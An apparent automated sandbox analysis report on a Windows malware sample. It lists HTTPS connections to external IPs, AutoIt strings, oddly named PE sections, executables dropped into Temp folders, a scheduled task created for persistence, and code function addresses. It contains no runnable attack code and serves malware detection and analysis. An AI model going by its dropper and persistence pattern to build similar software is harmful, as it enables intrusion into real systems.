Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.52.182.8:443 -> 192.168.2.5:49966 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.52.182.8:443 -> 192.168.2.5:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.5:443 -> 192.168.2.5:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.5:443 -> 192.168.2.5:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50129 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50130 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50136 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50138 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50143 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50152 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50156 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50160 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.5:50164 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50206 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50208 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50211 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50218 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50219 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.5:443 -> 192.168.2.5:50231 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.42.73.29:443 -> 192.168.2.5:50234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50241 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.129.91:443 -> 192.168.2.5:50243 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50246 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50247 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50248 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50249 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50261 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50262 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50263 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.42.73.24:443 -> 192.168.2.5:50278 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50309 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50307 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50308 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.20:443 -> 192.168.2.5:50322 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 6d2b6a8d0b.exe, 0000000B.00000002.3160258882.0000000000412000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_135b1a55-8
Source: 6d2b6a8d0b.exe, 0000000B.00000002.3160258882.0000000000412000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_30910f9c-b

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: f398072083.exe.6.dr	Static PE information: section name:
Source: f398072083.exe.6.dr	Static PE information: section name: .rsrc
Source: f398072083.exe.6.dr	Static PE information: section name: .idata
Source: f398072083.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: c9ac8940e6.exe.6.dr	Static PE information: section name:
Source: c9ac8940e6.exe.6.dr	Static PE information: section name: .idata
Source: c9ac8940e6.exe.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: 194fcc03d1.exe.6.dr	Static PE information: section name:
Source: 194fcc03d1.exe.6.dr	Static PE information: section name: .idata
Source: 194fcc03d1.exe.6.dr	Static PE information: section name:
Source: df975f4fc1.exe.6.dr	Static PE information: section name:
Source: df975f4fc1.exe.6.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2FB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	9_2_6D2FB700
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2FB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	9_2_6D2FB910
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2FB8C0 rand_s,NtQueryVirtualMemory,	9_2_6D2FB8C0

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E88FCA	9_2_61E88FCA
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61EAD2AC	9_2_61EAD2AC
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E4B8A1	9_2_61E4B8A1
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E75F1F	9_2_61E75F1F
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E40065	9_2_61E40065
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E9E24F	9_2_61E9E24F
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E5023C	9_2_61E5023C
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E62554	9_2_61E62554
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E9A4A7	9_2_61E9A4A7
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E4E4BF	9_2_61E4E4BF
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E94783	9_2_61E94783
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E7A790	9_2_61E7A790
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E18736	9_2_61E18736
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E86668	9_2_61E86668
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E58670	9_2_61E58670
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E10856	9_2_61E10856
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61EA0BA9	9_2_61EA0BA9
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E62CA3	9_2_61E62CA3
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E98FE2	9_2_61E98FE2
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E52F80	9_2_61E52F80
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61EA2F47	9_2_61EA2F47
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E56F18	9_2_61E56F18
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E4CEF9	9_2_61E4CEF9
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E1EEFF	9_2_61E1EEFF
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E64E0C	9_2_61E64E0C
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61EA91F6	9_2_61EA91F6
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E9316A	9_2_61E9316A
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E9F0ED	9_2_61E9F0ED
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61EA70CF	9_2_61EA70CF
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E9D0C3	9_2_61E9D0C3
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E8D0B6	9_2_61E8D0B6
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E6904E	9_2_61E6904E
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E4304E	9_2_61E4304E
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E15337	9_2_61E15337
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E19208	9_2_61E19208
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E534E3	9_2_61E534E3
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E77452	9_2_61E77452
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E37930	9_2_61E37930
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E7B85E	9_2_61E7B85E
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E21816	9_2_61E21816
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E9FBF0	9_2_61E9FBF0
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E55BD7	9_2_61E55BD7
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61EA5B62	9_2_61EA5B62
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E91DC1	9_2_61E91DC1
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E6DDA5	9_2_61E6DDA5
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E31DAB	9_2_61E31DAB
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E95D7A	9_2_61E95D7A
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E5BC4C	9_2_61E5BC4C
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E25FA2	9_2_61E25FA2
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E1DEC2	9_2_61E1DEC2
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E69E8F	9_2_61E69E8F
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E89E0E	9_2_61E89E0E
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2935A0	9_2_6D2935A0
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2AFD00	9_2_6D2AFD00
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2BED10	9_2_6D2BED10
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2C0512	9_2_6D2C0512
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2F85F0	9_2_6D2F85F0
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2D0DD0	9_2_6D2D0DD0
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D30542B	9_2_6D30542B
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D30AC00	9_2_6D30AC00
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2D5C10	9_2_6D2D5C10
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2E2C10	9_2_6D2E2C10
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2A5440	9_2_6D2A5440
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D30545C	9_2_6D30545C
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2F34A0	9_2_6D2F34A0
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2FC4A0	9_2_6D2FC4A0
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2A6C80	9_2_6D2A6C80
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D29D4E0	9_2_6D29D4E0
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2D6CF0	9_2_6D2D6CF0
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2A64C0	9_2_6D2A64C0
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2BD4D0	9_2_6D2BD4D0
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2A9F00	9_2_6D2A9F00
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2D7710	9_2_6D2D7710
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D2E77A0	9_2_6D2E77A0
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_6D29DFE0	9_2_6D29DFE0
